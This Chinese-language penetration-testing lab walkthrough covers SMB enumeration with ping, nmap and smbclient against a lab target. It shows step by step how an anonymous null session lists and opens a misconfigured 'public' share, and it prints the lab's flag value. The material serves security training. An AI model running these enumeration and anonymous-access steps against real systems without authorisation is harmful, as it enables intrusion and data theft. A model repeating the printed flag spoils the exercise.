介绍
欢迎来到本次关于服务器消息块 (SMB) 枚举和利用的实践实验。SMB 是一种网络文件共享协议,它允许计算机上的应用程序读取和写入文件,并在计算机网络中请求服务器程序的服务。由于其广泛使用,它成为了攻击者常见的攻击目标。
在本次实验中,你将扮演一名渗透测试人员。你将从基础的网络侦察开始,以确认目标在线。接下来,你将使用强大的扫描工具 nmap 来发现开放的 SMB 服务。最后,你将使用 smbclient 来调查该服务,找到允许匿名 guest 访问的错误配置,并从公共共享中检索隐藏的 flag。
完成之后,你将了解如何:
- 使用
ping验证网络连通性。 - 使用
nmap扫描开放的 SMB 端口和服务。 - 使用
smbclient枚举和连接 SMB 共享。 - 利用 guest 访问的错误配置来检索文件。
让我们开始吧。
使用 Ping 验证与目标的连通性
在第一步中,你将执行一项基础侦察任务:验证目标机器是否在线并且可以从你的攻击机访问。ping 命令是为此目的的标准实用程序,它发送 ICMP 数据包到主机以测试响应。
你的环境中包含一个别名为 target 的目标系统。要确认连通性,请在你的终端中运行以下命令发送四个数据包:
ping -c 4 target
-c 4 标志告诉 ping 发送正好四个数据包然后停止。成功的结果将类似于下面的输出,显示来自目标的回复。IP 地址和时间值可能会有所不同。
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms
--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms
看到 "4 received, 0% packet loss" 确认你的机器可以与目标通信,为下一阶段的枚举奠定了基础。
使用 Nmap 扫描开放端口
在这一步中,你将使用 nmap (Network Mapper) 来扫描目标开放的端口并识别运行的服务。这是寻找潜在攻击向量的关键步骤。我们将扫描重点放在 SMB 服务上。
执行以下 nmap 命令,对 target 执行服务版本检测 (-sV) 扫描并运行脚本 (--script) 来检查 SMB 协议:
nmap -sV --script smb-protocols target
片刻之后,nmap 将报告其发现。输出将类似于:
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Host script results:
| smb-protocols:
| dialects:
| 2.02
| 2.10
| 3.00
| 3.02
|_ 3.11
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
输出确认端口 139/tcp 和 445/tcp 是开放的,并且运行着 Samba 服务。端口 445 是 SMB 的现代端口。这一发现是我们调查 SMB 服务是否存在漏洞的信号。
通过 SMB 连接目标
在这一步中,你将使用 smbclient 实用程序与目标上的 SMB 服务进行交互。你的目标是查看是否可以在没有密码的情况下连接,这种技术被称为“空会话”(null session)或匿名登录。
首先,让我们列出目标上可用的共享。-L 标志用于列出服务,-N 标志尝试在不带密码的情况下连接。
运行以下命令:
smbclient -L //target -N
如果服务器配置错误允许访客访问,你将看到可用共享的列表。输出应类似于:
Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (Samba Server)
SMB1 disabled -- no workgroup available
这里的关键发现是 public 共享。名称表明它可能对任何人开放。在下一步中,你将连接到此共享以探索其内容。
探索目标系统并定位 Flag
在最后这一步中,你将连接到你发现的 public 共享并搜索 flag。这模拟了后渗透阶段,攻击者在此阶段搜索有价值的数据。
使用 smbclient 直接连接到 public 共享,同样使用 -N 标志进行匿名访问:
smbclient //target/public -N
成功连接后,你将进入一个 smbclient 提示符,看起来像 smb: \>。你现在正在浏览远程文件共享。
Try "help" to get a list of possible commands.
smb: \>
使用 ls 命令列出共享的内容:
ls
你应该会看到列出的 flag.txt 文件。
smb: \> ls
. D 0 Fri Sep 19 10:29:39 2025
.. D 0 Fri Sep 19 10:29:39 2025
flag.txt N 29 Fri Sep 19 10:29:39 2025
40901312 blocks of size 1024. 22067688 blocks available
现在,使用 get 命令将文件下载到你的本地机器:
get flag.txt
注意:smbclient 实用程序没有内置的 cat 命令来直接查看文件内容。你必须先使用 get 下载文件。
下载完成后,输入 exit 退出 smbclient 会话。最后,在你的本地终端使用 cat 命令显示下载的 flag 的内容。
cat flag.txt
终端将显示 flag 的值。
labex{smb_gu3st_acc3ss_fl4g}
恭喜!你已成功枚举了 SMB 服务,利用了访客访问的错误配置,并检索到了 flag。复制 flag 值以完成实验。
总结
在此实验中,你成功地对一个配置错误的 SMB 服务执行了基本的渗透测试流程。你学习并实践了如何:
- 使用
ping来验证与目标的网络连通性。 - 使用
nmap扫描开放端口并识别 SMB 服务。 - 使用
smbclient -L来匿名枚举可用的网络共享。 - 使用
smbclient通过空会话连接到开放的 SMB 共享。 - 使用
ls和get导航远程共享并下载文件。
这个练习展示了一个常见且关键的漏洞:允许匿名或访客访问网络共享。此类配置错误可能导致敏感数据泄露。通过了解如何查找和利用这些弱点,你将能更好地保护自己的系统免受其害。



